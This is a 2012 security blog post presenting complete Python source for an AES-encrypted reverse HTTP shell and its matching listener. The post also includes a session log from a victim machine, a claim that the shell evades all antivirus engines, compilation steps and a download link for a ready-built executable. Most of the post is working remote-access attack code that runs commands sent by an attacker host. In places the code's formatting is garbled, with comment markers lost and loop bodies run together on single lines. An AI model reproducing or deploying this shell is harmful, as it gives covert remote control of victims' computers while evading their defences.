Skip to Main Content
March 08, 2012

Building an HTTP shell with AES + Proxy Support in Python

Written by David Kennedy

Got a little bored today and decided to write a reverse HTTP shell in Python thats platform independent and supports AES encryption when passing information back and forth. So this works on Linux, OSX, and Windows. The shell also supports proxy settings as well. This Python shell will initiate a reverse connection out of the network and connect to the attacker machine via pure HTTP communications. It's pretty straight forward on how it works. I've byte compiled the code so you do not need to have Python installed on the victim, it will simply run as a normal executable.

As usual, with anything custom evades every anti-virus out there (0/43):

Here's the shell in action on the victim machine:

C:Documents and SettingsAdministratorDesktop>shell.exe
 AES Encrypted Reverse HTTP Shell by:
         Dave Kennedy (ReL1K)
 Usage: shell.exe reverse_ip_address port
 C:Documents and SettingsAdministratorDesktop>shell.exe 192.168.235.152 80

Here’s what we see on the attacker machine:

root@bt:~/Desktop# python server.py  ############################################ # # # AES Encrypted Reverse HTTP Listener by: # #        Dave Kennedy (ReL1K) #      # # ############################################ Starting encrypted web shell server, use Ctrl-C to stop shell> 192.168.235.131 - - [07/Mar/2012 19:47:10] "GET / HTTP/1.1" 200 - 192.168.235.131 - - [07/Mar/2012 19:47:10] "POST /index.aspx HTTP/1.1" 200 - shell> ipconfig 192.168.235.131 - - [07/Mar/2012 19:47:15] "GET / HTTP/1.1" 200 - 192.168.235.131 - - [07/Mar/2012 19:47:15] "POST /index.aspx HTTP/1.1" 200 - Windows IP Configuration Ethernet adapter Local Area Connection:         Connection-specific DNS Suffix  . : localdomain         IP Address. . . . . . . . . . . . : 192.168.235.131         Subnet Mask . . . . . . . . . . . : 255.255.255.0         Default Gateway . . . . . . . . . : 192.168.235.2 Ethernet adapter Bluetooth Network Connection:         Media State . . . . . . . . . . . : Media disconnected shell>  

As you can see, we have a full shell to the victim, at this point based on the code its trivial to implement upload/download commands and anything else we want from a purely stateful HTTP shell. When the commands are sent from the server, its encrypted leveraging AES and sent to the victim machine, its then decrypted and executed in a shell command. When the response is taken from the command shell option, its then encrypted back up and sent back to the listener. There is never a point in time where communications are sent via an unencrypted manner.

Here’s the source code for the encrypted shell:

!/usr/bin/python
 #
 #
 #
 AES Encrypted Reverse HTTP Shell by:
 #
 Dave Kennedy (ReL1K)
 #
 #
 #
 #
 #
 To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules
 to make it easier. Can download from here:
 http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip
 #
 #
 #
 This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc.
 #
 #
 #
 #
 #
 Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction
 so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary.
 #
 #
 #
 export VERSIONER_PYTHON_PREFER_32_BIT=yes
 python Configure.py
 python Makespec.py --onefile shell.py
 python Build.py shell/shell.spec
 #
 #
 import urllib
 import urllib2
 import httplib
 import subprocess
 import sys
 import base64
 import os
 from Crypto.Cipher import AES
 the block size for the cipher object; must be 16, 24, or 32 for AES
 BLOCK_SIZE = 32
 the character used for padding--with a block cipher such as AES, the value
 you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
 used to ensure that your value is always a multiple of BLOCK_SIZE
 PADDING = '{'
 one-liner to sufficiently pad the text to be encrypted
 pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
 one-liners to encrypt/encode and decrypt/decode a string
 encrypt with AES, encode with base64
 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
 DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
 secret key, change this if you want to be unique
 secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
 create a cipher object using the random secret
 cipher = AES.new(secret)
 TURN THIS ON IF YOU WANT PROXY SUPPORT
 PROXY_SUPPORT = "OFF"
 THIS WILL BE THE PROXY URL
 PROXY_URL = "http://proxyinfo:80"
 USERNAME FOR THE PROXY
 USERNAME = "username"
 PASSWORD FOR THE PROXY
 PASSWORD = "password"
 here is where we set all of our proxy settings
 if PROXY_SUPPORT == "ON":
     auth_handler = urllib2.HTTPBasicAuthHandler()
     auth_handler.add_password(realm='RESTRICTED ACCESS',
                                 uri=PROXY_URL, # PROXY SPECIFIED ABOVE
                               user=USERNAME, # USERNAME SPECIFIED ABOVE
                               passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
     opener = urllib2.build_opener(auth_handler)
     urllib2.install_opener(opener) 
 try:
     # our reverse listener ip address
     address = sys.argv[1]
     # our reverse listener port address
     port = sys.argv[2]
 except that we didn't pass parameters
 except IndexError:
         print " nAES Encrypted Reverse HTTP Shell by:"
         print "        Dave Kennedy (ReL1K)"
         print "      https://www.trustedsec.com"
     print "Usage: shell.exe  "
     sys.exit()
 loop forever
 while 1:
 open up our request handelr req = urllib2.Request('http://%s:%s' % (address,port)) # grab our response which contains what command we want message = urllib2.urlopen(req) # base64 unencode message = base64.b64decode(message.read()) # decrypt the communications message = DecodeAES(cipher, message) # quit out if we receive that command if message == "quit" or message == "exit":             sys.exit() # issue the shell command we want proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # read out the data of stdout data = proc.stdout.read() + proc.stderr.read() # encrypt the data data = EncodeAES(cipher, data) # base64 encode the data data = base64.b64encode(data) # urlencode the data from stdout data = urllib.urlencode({'cmd': '%s'}) % (data) # who we want to connect back to with the shell h = httplib.HTTPConnection('%s:%s' % (address,port)) # set our basic headers headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} # actually post the data h.request('POST', '/index.aspx', data, headers)

Here’s the code for the listener:

!/usr/bin/python
  #
  #
  #
  AES Encrypted Reverse HTTP Listener by:
  #
  Dave Kennedy (ReL1K)
  #
  #
  #
  from BaseHTTPServer import BaseHTTPRequestHandler
  from BaseHTTPServer import HTTPServer
  import urlparse
  import re
  import os
  import base64
  from Crypto.Cipher import AES
  the block size for the cipher object; must be 16, 24, or 32 for AES
  BLOCK_SIZE = 32
  the character used for padding--with a block cipher such as AES, the value
  you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
  used to ensure that your value is always a multiple of BLOCK_SIZE
  PADDING = '{'
  one-liner to sufficiently pad the text to be encrypted
  pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
  one-liners to encrypt/encode and decrypt/decode a string
  encrypt with AES, encode with base64
  EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
  DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
  32 character secret key - change this if you want to be unique
  secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
  create a cipher object using the random secret
  cipher = AES.new(secret)
  url decode for postbacks
  def htc(m):
      return chr(int(m.group(1),16))
  url decode
  def urldecode(url):
      rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M)
      return rex.sub(htc,url)
  class GetHandler(BaseHTTPRequestHandler):
  # handle get request def do_GET(self):            # this will be our shell command     message = raw_input("shell> ")     # send a 200 OK response         self.send_response(200)     # end headers         self.end_headers()     # encrypt the message     message = EncodeAES(cipher, message)     # base64 it     message = base64.b64encode(message)     # write our command shell param to victim         self.wfile.write(message)     # return out         return # handle post request def do_POST(self):         # send a 200 OK response         self.send_response(200)     # # end headers         self.end_headers()     # grab the length of the POST data             length = int(self.headers.getheader('content-length'))     # read in the length of the POST data             qs = self.rfile.read(length)     # url decode             url=urldecode(qs)             # remove the parameter cmd             url=url.replace("cmd=", "")     # base64 decode     message = base64.b64decode(url)     # decrypt the string     message = DecodeAES(cipher, message)     # display the command back decrypted     print message
  if name == 'main':
  # bind to all interfaces     server = HTTPServer(('', 80), GetHandler) print """############################################
  #
  #
  AES Encrypted Reverse HTTP Listener by:
  #
  Dave Kennedy (ReL1K)

  #
  #
  ######################################"""
      print 'Starting encrypted web shell server, use  to stop' # simple try block try:     # serve and listen forever         server.serve_forever() # handle keyboard interrupts except KeyboardInterrupt:      print "[!] Exiting the encrypted webserver shell.. hack the gibson."

If you want to download the already compiled shell.exe and all of the source code click here to download.